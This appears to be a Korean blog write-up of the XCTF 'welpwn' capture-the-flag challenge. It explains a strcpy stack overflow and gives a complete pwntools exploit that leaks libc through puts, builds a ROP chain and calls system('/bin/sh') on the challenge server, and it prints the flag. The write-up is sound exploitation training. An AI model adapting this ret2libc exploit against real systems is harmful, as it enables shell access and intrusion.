ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • welpwn
    CTF/XCTF 2021. 2. 11. 02:27

    Disassembly 디스어셈블리


    undefined8 main(void)
    {
        void *buf;
        
        write(1, "Welcome to RCTF\n", 0x10);
        fflush(_reloc.stdout);
        read(0, &buf, 0x400);
        echo(&buf);
        return 0;
    }

    main은 0x400바이트를 입력받아 echo를 호출한다.

    void echo(char *dest)
    {
        char *dest; // rbp-0x10
    
        strcpy(dest, src); // stack buffer overflow
        if (strcmp("ROIS", dest) == 0) {
            printf("RCTF{Welcome}");
            puts(" is not flag");
        }
        printf("%s", dest);
        return;
    }
    

    echo에서는 전달된 인자를 dest에 복사한다.

    Return Oriented Programming


    버퍼 오버플로우를 이용할 때, echo 함수에서 null 바이트를 만나면 복사가 중단되기 때문에 ROP를 바로 진행할 수 없다. 일단 dest가 rbp-0x10에 위치하므로 첫 0x18바이트를 아무렇게나 채우고 return address를 무언가로 덮어쓸 것이다. 그 후 echo 함수가 종료될 때 스택은 다음과 같을 것이다.

     

    stack frame layout

    src가 rsp 바로 위에 붙어있는 것을 확인할 수 있고, 그렇다면 적절한 가젯을 통해 dummy 이후의 src+0x18 영역의 정보를 ROP에 사용할 수 있을 것이다. 예를 들어, return address를 'pop pop pop pop ret' 가젯으로 덮었을 때 rsp의 변화는 다음과 같다.

    ppppr

    가젯이 실행된 이후 rsp는 src+0x20으로 이동하므로 null 바이트를 신경쓰지 않고 ROP를 진행할 수 있다.

    ppppr = 0x40089c
    prdi = r.find_gadget(['pop rdi', 'ret'])[0]
    
    puts_plt = e.plt["puts"]
    puts_got = e.got["puts"]
    write_got = e.got["write"]
    main = e.symbols["main"]
    
    payload = b"A"*0x18
    payload += p64(ppppr)
    payload += p64(prdi)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(prdi)
    payload += p64(write_got)
    payload += p64(puts_plt)
    payload += p64(main)
    
    p.recvuntil("\n")
    p.send(payload)
    
    p.recvline()
    
    p.recv(0x1b)
    puts = u64(p.recvline().strip().ljust(8, b"\x00"))
    write = u64(p.recvline().strip().ljust(8, b"\x00"))
    
    log.info("puts : " + hex(puts))
    log.info("write : " + hex(write))

     

    이제 위와 같이 라이브러리 버전을 알아낸 다음 system("/bin/sh")를 호출하면 문제를 해결할 수 있다.

    Code

    더보기
    from pwn import *
    
    binary = "./welpwn"
    lib = "../../lib/libc6_2.23-0ubuntu11_amd64.so"
    server = "111.200.241.244"
    port = 47911
    
    # context.log_level = 'debug'
    context.binary = binary
    
    if True:
    	p = remote(server, port)
    else:
    	p = gdb.debug([binary], gdbscript = 'set debug-file-directory ./x86_64-linux-gnu')
    
    e = ELF(binary)
    r = ROP(e)
    l = ELF(lib)
    
    e.checksec()
    
    ppppr = 0x40089c
    prdi = r.find_gadget(['pop rdi', 'ret'])[0]
    
    puts_plt = e.plt["puts"]
    puts_got = e.got["puts"]
    write_got = e.got["write"]
    main = e.symbols["main"]
    
    payload = b"A"*0x18
    payload += p64(ppppr)
    payload += p64(prdi)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(main)
    
    p.recvuntil("\n")
    p.send(payload)
    
    p.recvline()
    
    p.recv(0x1b)
    puts = u64(p.recvline().strip().ljust(8, b"\x00"))
    libc = puts - l.symbols["puts"]
    
    log.info("libc : " + hex(libc))
    
    binsh = libc + next(l.search(b"/bin/sh\x00"))
    system = libc + l.symbols["system"]
    
    payload = b"A"*0x18
    payload += p64(ppppr)
    payload += p64(prdi)
    payload += p64(binsh)
    payload += p64(system)
    
    p.send(payload)
    
    p.interactive()

    Flag

    cyberpeace{c84717e3986e444531915c01a6a8a276}

    'CTF > XCTF' 카테고리의 다른 글

    Recho  (0) 2021.02.11
    pwn-100  (0) 2021.02.11
    Mary_Morton  (0) 2021.02.11
    int_overflow  (0) 2021.01.21
    level2  (0) 2021.01.16

    댓글

Designed by Tistory.